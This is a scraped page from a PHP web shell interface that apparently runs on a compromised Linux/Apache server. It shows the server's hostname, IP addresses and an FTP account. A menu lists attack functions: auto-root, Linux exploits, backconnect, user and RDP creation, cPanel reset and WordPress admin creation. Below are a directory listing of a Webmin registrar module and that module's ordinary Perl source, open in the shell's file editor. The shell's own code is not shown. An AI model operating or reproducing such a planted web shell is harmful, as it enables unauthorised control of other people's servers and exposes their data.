Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtualmin-registrar /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
newfeatures
[ DIR ]
drwxr-xr-x
CHANGELOG
990
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
auto.pl
3.16
KB
-rwxr-xr-x
cgi_args.pl
857
B
-rwxr-xr-x
config
46
B
-rw-r--r--
config.info
271
B
-rw-r--r--
config.info.de
135
B
-rw-r--r--
config.info.nl
214
B
-rw-r--r--
countries.txt
9.3
KB
-rw-r--r--
create.cgi
1.16
KB
-rwxr-xr-x
create_form.cgi
936
B
-rwxr-xr-x
defaultacl
12
B
-rw-r--r--
delete.cgi
1.97
KB
-rwxr-xr-x
dereg.cgi
1.28
KB
-rwxr-xr-x
distribute-type-lib.pl
16.68
KB
-rwxr-xr-x
edit.cgi
3.27
KB
-rwxr-xr-x
edit_auto.cgi
1.91
KB
-rwxr-xr-x
edit_contact.cgi
4.18
KB
-rwxr-xr-x
edit_dereg.cgi
1.04
KB
-rwxr-xr-x
edit_import.cgi
1.38
KB
-rwxr-xr-x
edit_ns.cgi
2.04
KB
-rwxr-xr-x
edit_onecontact.cgi
2.93
KB
-rwxr-xr-x
edit_renew.cgi
1.67
KB
-rwxr-xr-x
edit_transfer.cgi
1.48
KB
-rwxr-xr-x
gandi-type-lib.pl
14.21
KB
-rwxr-xr-x
import.cgi
2.01
KB
-rwxr-xr-x
index.cgi
2.58
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
list.cgi
1.73
KB
-rwxr-xr-x
list_contacts.cgi
1.59
KB
-rwxr-xr-x
module.info
125
B
-rw-r--r--
module.info.af.auto
42
B
-rw-r--r--
module.info.ar.auto
43
B
-rw-r--r--
module.info.be.auto
55
B
-rw-r--r--
module.info.bg.auto
70
B
-rw-r--r--
module.info.ca.auto
39
B
-rw-r--r--
module.info.cs.auto
38
B
-rw-r--r--
module.info.da.auto
39
B
-rw-r--r--
module.info.de
39
B
-rw-r--r--
module.info.el.auto
45
B
-rw-r--r--
module.info.es.auto
42
B
-rw-r--r--
module.info.eu.auto
41
B
-rw-r--r--
module.info.fa.auto
37
B
-rw-r--r--
module.info.fi.auto
50
B
-rw-r--r--
module.info.fr.auto
45
B
-rw-r--r--
module.info.he.auto
39
B
-rw-r--r--
module.info.hr.auto
39
B
-rw-r--r--
module.info.hu.auto
41
B
-rw-r--r--
module.info.it.auto
40
B
-rw-r--r--
module.info.ja.auto
37
B
-rw-r--r--
module.info.ko.auto
32
B
-rw-r--r--
module.info.lt.auto
46
B
-rw-r--r--
module.info.lv.auto
42
B
-rw-r--r--
module.info.ms.auto
38
B
-rw-r--r--
module.info.mt.auto
47
B
-rw-r--r--
module.info.nl
38
B
-rw-r--r--
module.info.no.auto
38
B
-rw-r--r--
module.info.pl.auto
38
B
-rw-r--r--
module.info.pt.auto
40
B
-rw-r--r--
module.info.pt_BR.auto
43
B
-rw-r--r--
module.info.ro.auto
41
B
-rw-r--r--
module.info.ru.auto
57
B
-rw-r--r--
module.info.sk.auto
40
B
-rw-r--r--
module.info.sl.auto
38
B
-rw-r--r--
module.info.sv.auto
42
B
-rw-r--r--
module.info.th.auto
71
B
-rw-r--r--
module.info.tr.auto
36
B
-rw-r--r--
module.info.uk.auto
53
B
-rw-r--r--
module.info.ur.auto
49
B
-rw-r--r--
module.info.vi.auto
42
B
-rw-r--r--
module.info.zh.auto
28
B
-rw-r--r--
module.info.zh_TW.auto
31
B
-rw-r--r--
namecheap-type-lib.pl
15.86
KB
-rw-r--r--
newgandi-type-lib.pl
22.86
KB
-rwxr-xr-x
rcom-type-lib.pl
21.94
KB
-rwxr-xr-x
renew.cgi
1.18
KB
-rwxr-xr-x
save.cgi
3.17
KB
-rwxr-xr-x
save_auto.cgi
1.96
KB
-rwxr-xr-x
save_contact.cgi
2.06
KB
-rwxr-xr-x
save_ns.cgi
1.79
KB
-rwxr-xr-x
save_onecontact.cgi
2.27
KB
-rwxr-xr-x
transfer.cgi
1.43
KB
-rwxr-xr-x
update_contacts.cgi
1.31
KB
-rw-r--r--
view_contact.cgi
1.42
KB
-rwxr-xr-x
virtual_feature.pl
12.34
KB
-rwxr-xr-x
virtualmin-registrar-lib.pl
7.98
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : virtual_feature.pl
# Defines functions for this feature use strict; no strict 'refs'; use warnings; our (%access, %text, %config, %gconfig); our $module_name; our $input_name; do 'virtualmin-registrar-lib.pl'; # feature_name() # Returns a short name for this feature sub feature_name { return $text{'feat_name'}; } # feature_losing(&domain) # Returns a description of what will be deleted when this feature is removed sub feature_losing { return $text{'feat_losing'}; } # feature_label(in-edit-form) # Returns the name of this feature, as displayed on the domain creation and # editing form sub feature_label { my ($edit) = @_; return $edit ? $text{'feat_label2'} : $text{'feat_label'}; } # feature_hlink(in-edit-form) # Returns a help page linked to by the label returned by feature_label sub feature_hlink { return "label"; } # feature_depends(&domain) # Returns undef if all pre-requisite features for this domain are enabled, # or an error message if not sub feature_depends { my ($d, $oldd) = @_; # Is DNS enabled? $d->{'dns'} || return $text{'feat_edns'}; if (!$oldd || !$oldd->{$module_name}) { # Can we find an account for the domain? my $account = &find_registrar_account($d->{'dom'}); return $text{'feat_edepend'} if (!$account); return $text{'feat_edepend2'} unless ($d->{'dom'} =~ /\./); } return undef; } # feature_clash(&domain, [field]) # Returns undef if there is no clash for this domain for this feature, or # an error message if so sub feature_clash { my ($d, $field) = @_; return undef if ($field && $field ne "dom"); # Get registrar account my $account = &find_registrar_account($d->{'dom'}); return $text{'feat_edepend'} if (!$account); # Check if the domain is already owned by this account my $ofunc = "type_".$account->{'registrar'}."_owned_domain"; if (defined(&$ofunc)) { my ($ok, $id) = &$ofunc($account, $d->{'dom'}); if ($ok && $id) { # Yes, so that's not a clash return undef; } } # Is this domain already registered by someone else? my $cfunc = "type_".$account->{'registrar'}."_check_domain"; if (defined(&$cfunc)) { my $cerr = &$cfunc($account, $d->{'dom'}); if ($cerr) { return &text('feat_eclash', $d->{'dom'}, $cerr); } } return undef; } # feature_suitable([&parentdom], [&aliasdom], [&subdom]) # Returns 1 if some feature can be used with the specified alias, # parent and sub domains sub feature_suitable { # Cannot use anywhere except subdoms if no accounts have been setup my ($parentdom, $aliasdom, $subdom) = @_; return 0 if ($subdom); my @accounts = grep { $_->{'enabled'} } &list_registrar_accounts(); return scalar(@accounts) ? 1 : 0; } # feature_setup(&domain) # Called when this feature is added, with the domain object as a parameter sub feature_setup { my ($d) = @_; my $account = &find_registrar_account($d->{'dom'}); my $reg = $account->{'registrar'}; my $dfunc = "type_".$reg."_desc"; &$virtual_server::first_print(&text('feat_setup', &$dfunc($account))); # Check if the domain is already owned by this account my $ofunc = "type_".$reg."_owned_domain"; if (defined(&$ofunc)) { my ($ok, $id) = &$ofunc($account, $d->{'dom'}); if ($ok && $id) { $d->{'registrar_account'} = $account->{'id'}; $d->{'registrar_id'} = $id; &$virtual_server::second_print(&text('feat_setupalready')); return 1; } } # Call the account type's register function my $rfunc = "type_".$reg."_create_domain"; my ($ok, $msg) = &$rfunc($account, $d); if (!$ok) { &$virtual_server::second_print(&text('feat_failed', $msg)); &error(&text('feat_failed', $msg)); } $d->{'registrar_account'} = $account->{'id'}; $d->{'registrar_id'} = $msg; &$virtual_server::second_print(&text('feat_setupdone', $msg)); # Copy contacts from the user's main domain to this new one my $gcfunc = "type_".$reg."_get_contact"; my $parent; if ($d->{'parent'} && ($parent = &virtual_server::get_domain($d->{'parent'})) && $parent->{$module_name} && $parent->{'registrar_account'} eq $account->{'id'} && defined(&$gcfunc)) { &$virtual_server::first_print(&text('feat_copy', $parent->{'dom'})); my $cons = &$gcfunc($account, $parent); if (!ref($cons)) { &$virtual_server::second_print(&text('feat_ecopy', $cons)); } elsif (!@$cons) { &$virtual_server::second_print(&text('feat_nocopy')); } else { my $scfunc = "type_".$reg."_save_contact"; my $err = &$scfunc($account, $d, $cons); if ($err) { &$virtual_server::second_print( &text('feat_ecopy2', $err)); } else { &$virtual_server::second_print( $virtual_server::text{'setup_done'}); } } } return 1; } # feature_modify(&domain, &olddomain) # Called when a domain with this feature is modified sub feature_modify { my ($d, $oldd) = @_; if ($d->{'dom'} eq $oldd->{'dom'}) { # Nothing to do if domain name hasn't changed return; } my ($account) = grep { $_->{'id'} eq $oldd->{'registrar_account'} } &list_registrar_accounts(); if (!$account) { &error($text{'feat_noaccount'}); return 0; } my $reg = $account->{'registrar'}; my $dfunc = "type_".$reg."_desc"; my $mfunc = "type_".$reg."_rename_domain"; if (defined(&$mfunc)) { # Registrar provides a rename function &$virtual_server::first_print(&text('feat_modify', $oldd->{'dom'}, $d->{'dom'}, &$dfunc($account))); my ($ok, $msg) = &$mfunc($account, $d, $oldd); if (!$ok) { &error(&text('feat_failed', $msg)); return 0; } $d->{'registrar_account'} = $account->{'id'}; $d->{'registrar_id'} = $msg; &$virtual_server::second_print(&text('feat_setupdone', $msg)); } else { # Need to take down and re-create &$virtual_server::first_print(&text('feat_modify1', $oldd->{'dom'}, &$dfunc($account))); my $gcfunc = "type_".$reg."_get_contact"; my $cons; if (defined(&$gcfunc)) { $cons = &$gcfunc($account, $oldd); } my $ufunc = "type_".$reg."_delete_domain"; my ($ok, $msg) = &$ufunc($account, $oldd); if (!$ok) { &error(&text('feat_failed', $msg)); return 0; } delete($d->{'registrar_account'}); delete($d->{'registrar_id'}); &$virtual_server::second_print($virtual_server::text{'setup_done'}); # Re-create .. hope this works! &$virtual_server::first_print(&text('feat_modify2', $d->{'dom'}, &$dfunc($account))); my $rfunc = "type_".$reg."_create_domain"; ($ok, $msg) = &$rfunc($account, $d); if (!$ok) { &error(&text('feat_failed', $msg)); return 0; } $d->{'registrar_account'} = $account->{'id'}; $d->{'registrar_id'} = $msg; if (ref($cons) && @$cons > 0) { my $scfunc = "type_".$reg."_save_contact"; if (defined(&$scfunc)) { &$scfunc($account, $d, $cons); } } &$virtual_server::second_print(&text('feat_setupdone', $msg)); } } # feature_delete(&domain) # Called when this feature is disabled, or when the domain is being deleted sub feature_delete { my ($d) = @_; if (!$config{'deregister'}) { &$virtual_server::first_print(&text('feat_delete2')); &$virtual_server::second_print($text{'feat_noderegister'}); return 1; } my ($account) = grep { $_->{'id'} eq $d->{'registrar_account'} } &list_registrar_accounts(); if (!$account) { &$virtual_server::first_print(&text('feat_delete2')); &$virtual_server::second_print($text{'feat_noaccount'}); &error($text{'feat_noaccount'}); return 0; } my $reg = $account->{'registrar'}; my $dfunc = "type_".$reg."_desc"; &$virtual_server::first_print(&text('feat_delete', &$dfunc($account))); my $ufunc = "type_".$reg."_delete_domain"; my ($ok, $msg) = &$ufunc($account, $d); if (!$ok) { &$virtual_server::second_print(&text('feat_failed', $msg)); &error(&text('feat_failed', $msg)); return 0; } delete($d->{'registrar_account'}); delete($d->{'registrar_id'}); &$virtual_server::second_print($virtual_server::text{'setup_done'}); return 1; } # feature_inputs_show([&domain]) # Always show registration period, if any accounts sub feature_inputs_show { my @accounts = grep { $_->{'enabled'} } &list_registrar_accounts(); return @accounts ? 1 : 0; } # feature_inputs([&domain]) # Return field for registration period sub feature_inputs { return &ui_table_row($text{'feat_period'}, &ui_opt_textbox($input_name."_period", undef, 5, $text{'feat_perioddef'})." ". $text{'feat_periodyears'}); } # feature_inputs_parse(&domain, &in) # Update the domain object with a custom registration period, if requested sub feature_inputs_parse { my ($d, $in) = @_; if (defined($in->{$input_name."_period"}) && !$in->{$input_name."_period_def"}) { $in->{$input_name."_period"} =~ /^\d+$/ || return $text{'feat_eperiod'}; $d->{'registrar_years'} = $in->{$input_name."_period"}; } return undef; } # feature_args(&domain) # Return command-line arguments for domain registration sub feature_args { return ( { 'name' => $module_name."-period", 'value' => 'years', 'opt' => 1, 'desc' => 'Period to register a new domain for' }, ); } # feature_args_parse(&domain, &args) # Parse command-line arguments from feature_args sub feature_args_parse { my ($d, $args) = @_; if (defined($args->{$module_name."-period"})) { $args->{$module_name."-period"} =~ /^\d+$/ || return "Registration period must be a number of years"; $d->{'registrar_years'} = $args->{$module_name."-period"}; } return undef; } # feature_always_links(&domain) # Returns an array of link objects for webmin modules, regardless of whether # this feature is enabled or not sub feature_always_links { # Return links to edit domain contact details and import/de-import my ($d) = @_; my @rv; my @accounts = &list_registrar_accounts(); if ($d->{$module_name}) { # Edit contact details my ($account) = grep { $_->{'id'} eq $d->{'registrar_account'} } @accounts; my $cfunc = "type_".$account->{'registrar'}."_get_contact"; my $cm = &can_contacts($d); if ($cm && defined(&$cfunc)) { push(@rv, { 'mod' => $module_name, 'desc' => $cm == 1 || $cm == 3 ? $text{'links_contact'} : $text{'links_contactv'}, 'page' => $cm == 1 || $cm == 3 ? 'edit_contact.cgi?dom='.$d->{'dom'} : 'view_contact.cgi?dom='.$d->{'dom'}, 'cat' => 'dns' }); } # Show and allow editing of nameservers my $nfunc = "type_".$account->{'registrar'}."_get_nameservers"; my $cn = &can_nameservers($d); if ($cn && defined(&$nfunc)) { push(@rv, { 'mod' => $module_name, 'desc' => $text{'links_ns'}, 'page' => 'edit_ns.cgi?dom='.$d->{'dom'}, 'cat' => 'dns' }); } # Renew domain (if allowed to create) if (&virtual_server::can_use_feature($module_name)) { push(@rv, { 'mod' => $module_name, 'desc' => $text{'links_renew'}, 'page' => 'edit_renew.cgi?dom='.$d->{'dom'}, 'cat' => 'dns' }); } # Dis-associate if ($access{'registrar'}) { push(@rv, { 'mod' => $module_name, 'desc' => $text{'links_rereg'}, 'page' => 'edit_dereg.cgi?dom='.$d->{'dom'}, 'cat' => 'dns' }); } } else { # Can import existing registration (master admin only) if (scalar(@accounts) && !$d->{'subdom'} && $access{'registrar'} && $d->{'dns'}) { push(@rv, { 'mod' => $module_name, 'desc' => $text{'links_import'}, 'page' => 'edit_import.cgi?dom='.$d->{'dom'}, 'cat' => 'dns' }); } # Can request a domain transfer my $cantransfer = 0; foreach my $a (@accounts) { my $tfunc = "type_".$a->{'registrar'}."_transfer_domain"; $cantransfer = 1 if (defined(&$tfunc)); } if (scalar(@accounts) && !$d->{'subdom'} && $access{'registrar'} && $d->{'dns'} && $cantransfer && !$d->{'registrar_transferred'}) { push(@rv, { 'mod' => $module_name, 'desc' => $text{'links_transfer'}, 'page' => 'edit_transfer.cgi?dom='.$d->{'dom'}, 'cat' => 'dns' }); } } return @rv; } # feature_webmin(&main-domain, &all-domains) # Returns a list of webmin module names and ACL hash references to be set for # the Webmin user when this feature is enabled sub feature_webmin { my ($d, $doms) = @_; my @rdoms = grep { $_->{$module_name} } @$doms; if (@rdoms) { return ( [ $module_name, { 'registrar' => 0, 'doms' => join(' ', map { $_->{'dom'} } @rdoms) } ] ); } return ( ); } # feature_validate(&domain) # Checks if this feature is properly setup for the virtual server, and returns # an error message if any problem is found sub feature_validate { return undef; } # settings_links() # If defined, should return a list of additional System Settings section links # related to this plugin, typically for configuring global settings. Each # element must be a hash ref containing link, title, icon and cat keys. sub settings_links { return ( { "link" => "/$module_name/index.cgi", "title" => $text{"index_title"}, "icon" => "$gconfig{'webprefix'}/$module_name/images/icon.gif", "cat" => "ip" } ); } 1;
Close